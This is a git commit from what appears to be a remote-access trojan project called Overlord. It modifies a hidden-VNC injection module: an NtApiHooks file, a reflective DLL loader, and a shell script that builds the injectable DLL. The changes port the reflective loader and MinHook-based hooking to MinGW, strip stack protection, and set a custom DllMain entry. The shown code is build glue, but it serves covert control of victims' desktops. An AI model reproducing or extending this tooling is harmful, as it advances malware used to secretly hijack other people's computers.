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hopefully final?

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This commit is contained in:
KingKDot
2026-03-12 00:29:25 -05:00
parent cfa45fb56b
commit c72cba093c
5 changed files with 69 additions and 14 deletions
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HVNCInjection/src/NtApiHooks.c
+19
View File
@@ -11,8 +11,27 @@ extern "C" {
#include <stdio.h>
#include <string.h>
#ifdef _MSC_VER
#pragma comment(lib, "libMinHook.x64.lib")
#pragma comment(lib, "ntdll.lib")
#endif
// Portable secure string helpers for MinGW compatibility
#ifndef _MSC_VER
#ifndef _HVNC_PORTABLE_CRT
#define _HVNC_PORTABLE_CRT
static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *src, size_t count) {
if (!dst || dstSize == 0) return;
size_t toCopy = (count < dstSize - 1) ? count : dstSize - 1;
size_t i;
for (i = 0; i < toCopy && src[i] != L'\0'; i++)
dst[i] = src[i];
dst[i] = L'\0';
}
#define wcsncpy_s(dst, dstSize, src, count) _hvnc_wcsncpy_s((dst), (dstSize), (src), (count))
#define sprintf_s(buf, size, ...) snprintf((buf), (size), __VA_ARGS__)
#endif
#endif
// Global search and replacement strings (filled from parameter)
static WCHAR g_SearchString[512] = { 0 };
HVNCInjection/src/ReflectiveLoader.c
+4 -1
View File
@@ -47,8 +47,11 @@ RDI_NOINLINE ULONG_PTR caller(VOID)
{
#ifdef _MSC_VER
return (ULONG_PTR)_ReturnAddress();
#elif defined(__GNUC__) || defined(__clang__)
// For MinGW/Clang, use GCC builtins and extract helper for target-specific safety.
return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0));
#else
return (ULONG_PTR)__builtin_return_address(0);
return 0;
#endif
}
//===============================================================================================//
HVNCInjection/src/ReflectiveLoader.h
+14 -2
View File
@@ -31,7 +31,14 @@
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#ifdef _MSC_VER
#include <intrin.h>
#else
// MinGW/GCC: _rotr lives in <stdlib.h>, __readgsqword in <intrin.h>
#include <stdlib.h>
#include <intrin.h>
#endif
#include "ReflectiveDLLInjection.h"
@@ -58,14 +65,19 @@ typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
#define HASH_KEY 13
//===============================================================================================//
#ifdef _MSC_VER
#pragma intrinsic( _rotr )
#define RDI_INLINE __forceinline
#else
#define RDI_INLINE static inline __attribute__((always_inline))
#endif
__forceinline DWORD ror(DWORD d)
RDI_INLINE DWORD ror(DWORD d)
{
return _rotr(d, HASH_KEY);
}
__forceinline DWORD hash(char* c)
RDI_INLINE DWORD hash(char* c)
{
register DWORD h = 0;
do
Overlord-Server/src/server/build-process.ts
+2 -2
View File
@@ -19,10 +19,10 @@ function isClientModuleDir(dir: string): boolean {
function resolveClientModuleDir(rootDir: string): string | null {
const candidates = [
path.join(rootDir, "dist", "Overlord-Client"),
path.join(rootDir, "dist", "Overlord-Client", "Overlord-Client"),
path.join(rootDir, "Overlord-Client"),
path.join(rootDir, "..", "Overlord-Client"),
path.join(rootDir, "dist", "Overlord-Client"),
path.join(rootDir, "dist", "Overlord-Client", "Overlord-Client"),
];
for (const dir of candidates) {
build-hvnc-dll.sh
+30 -9
View File
@@ -36,6 +36,7 @@ MINHOOK_DIR="$SRC_DIR/minhook"
stage_minhook_tree() {
local source_root="$1"
local include_root="${2:-$1}"
mkdir -p "$MINHOOK_DIR/hde"
cp -f "$source_root/buffer.c" "$MINHOOK_DIR/" 2>/dev/null || true
@@ -55,22 +56,37 @@ stage_minhook_tree() {
if [ -f "$source_root/MinHook.h" ]; then
cp -f "$source_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
cp -f "$source_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
elif [ -f "$include_root/MinHook.h" ]; then
cp -f "$include_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
cp -f "$include_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
fi
}
stage_minhook_from_static_dir() {
local candidate=""
local candidate_src=""
local candidate_include=""
for dir in "$MINHOOK_STATIC_DIR" "HVNCInjection/Minhook" "HVNCInjection/minhook"; do
if [ -f "$dir/hook.c" ] && [ -f "$dir/hde/hde64.c" ]; then
candidate="$dir"
candidate_src="$dir"
candidate_include="$dir"
break
fi
if [ -f "$dir/src/hook.c" ] && [ -f "$dir/src/hde/hde64.c" ]; then
candidate_src="$dir/src"
if [ -f "$dir/include/MinHook.h" ]; then
candidate_include="$dir/include"
else
candidate_include="$dir/src"
fi
break
fi
done
if [ -n "$candidate" ]; then
echo "Using static MinHook source from $candidate"
stage_minhook_tree "$candidate"
if [ -n "$candidate_src" ]; then
echo "Using static MinHook source from $candidate_src"
stage_minhook_tree "$candidate_src" "$candidate_include"
return 0
fi
@@ -103,7 +119,7 @@ fetch_minhook() {
return 1
fi
stage_minhook_tree "$tmpdir/minhook/src"
stage_minhook_tree "$tmpdir/minhook/src" "$tmpdir/minhook/include"
cp -f "$tmpdir/minhook/include/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
mkdir -p "$SRC_DIR/include"
cp -f "$tmpdir/minhook/include/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
@@ -150,7 +166,7 @@ if [ -d "$MINHOOK_DIR" ] && { [ -f "$MINHOOK_DIR/hook.c" ] || [ -f "$MINHOOK_DIR
"$MINHOOK_DIR"/hook.c "$MINHOOK_DIR"/MinHook.c; do
if [ -f "$src" ]; then
obj="${src%.c}.o"
"$CC" -c -O2 -DWIN64 -D_WIN64 $MINHOOK_INC -o "$obj" "$src"
"$CC" -c -O2 -DWIN64 -D_WIN64 -fno-stack-protector -fno-asynchronous-unwind-tables $MINHOOK_INC -o "$obj" "$src"
MINHOOK_OBJS="$MINHOOK_OBJS $obj"
fi
done
@@ -170,6 +186,8 @@ CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
CFLAGS="$CFLAGS -DHVNCInjection_EXPORTS -DWIN_X64"
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
CFLAGS="$CFLAGS -fno-stack-protector"
CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables"
CFLAGS="$CFLAGS -I$SRC_DIR"
if [ -n "${MINHOOK_INC:-}" ]; then
CFLAGS="$CFLAGS $MINHOOK_INC"
@@ -194,8 +212,11 @@ if [ -n "${MINHOOK_LIB:-}" ] && [ -f "${MINHOOK_LIB}" ]; then
LINK_LIBS="$LINK_LIBS $MINHOOK_LIB"
fi
"$CC" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \
-Wl,--no-seh -s
"$CC" -shared -nostartfiles -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \
-Wl,--entry,DllMain \
-Wl,--no-seh \
-fno-stack-protector \
-s
echo "Built: $OUT_DIR/$DLL_NAME"
ls -la "$OUT_DIR/$DLL_NAME"